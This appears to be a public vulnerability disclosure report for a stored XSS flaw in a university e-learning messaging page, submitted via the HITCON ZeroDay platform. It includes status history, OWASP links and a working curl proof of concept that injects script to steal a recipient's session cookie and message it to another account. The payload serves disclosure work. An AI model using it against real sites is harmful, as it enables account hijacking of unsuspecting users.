Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2016-00350
- Vendor: 國立高雄應用科技大學
- Title: 國立高雄應用科技大學網站漏洞
- Introduction: XSS盜取他人帳戶
處理狀態
目前狀態
公開
Last Update : 2017/02/26
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2016/12/17 13:50:52 : 新提交 (由 xiplus 更新此狀態)
- 2016/12/17 13:50:54 : 新提交 (由 xiplus 更新此狀態)
- 2016/12/17 15:56:44 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2016/12/19 10:27:57 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2016/12/19 10:27:57 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2016/12/20 16:14:55 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2016/12/22 00:38:09 : 未修補完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2016/12/23 14:50:03 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2016/12/25 15:36:40 : 未修補完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2016/12/28 13:50:24 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/01/09 14:59:05 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/02/18 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
- 2017/02/26 01:42:44 : 確認已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/02/26 01:43:32 : 公開 (由 HITCON ZeroDay 服務團隊 更新此狀態)
詳細資料
- ZDID:ZD-2016-00350
- 通報者:xiplus (xiplus)
- 風險:嚴重
- 類型:預存式跨站腳本攻擊 (Stored Cross-Site Scripting)
參考資料
攻擊者可經由該漏洞竊取使用者身份,或進行掛碼、轉址等攻擊行為。
漏洞說明: OWASP - Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
防護原則:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
XSS 防禦繞過方式:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
漏洞說明: OWASP - Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
防護原則:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
XSS 防禦繞過方式:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://ilearning.kuas.edu.tw/message/
敘述
向其他使用者發送訊息
curl -H "User-Agent:haha" -d "to=1105108138&subject=you have been hacked&isHTML=1" --data-urlencode "content=<img src=http://ilearning.kuas.edu.tw/theme/default/learn/sysLearnState6.gif onload=\"r=new XMLHttpRequest();r.open('post','http://ilearning.kuas.edu.tw/message/writing.php',1);r.setRequestHeader('content-type','application/x-www-form-urlencoded');r.send('to=1105108100&subject=hack reply&content='+encodeURIComponent(document.cookie))\">" http://ilearning.kuas.edu.tw/message/writing.php
利用沒有檢查到img.onload執行javascript
取得cookie並利用此網站傳訊息功能或是傳至其他網站
最終取得他人帳號權限
圖1: 受害者收到訊息的樣子
圖2: 受害者瀏覽訊息觸發javascript將cookie傳至另一人的信箱
擷圖
留言討論
登入後留言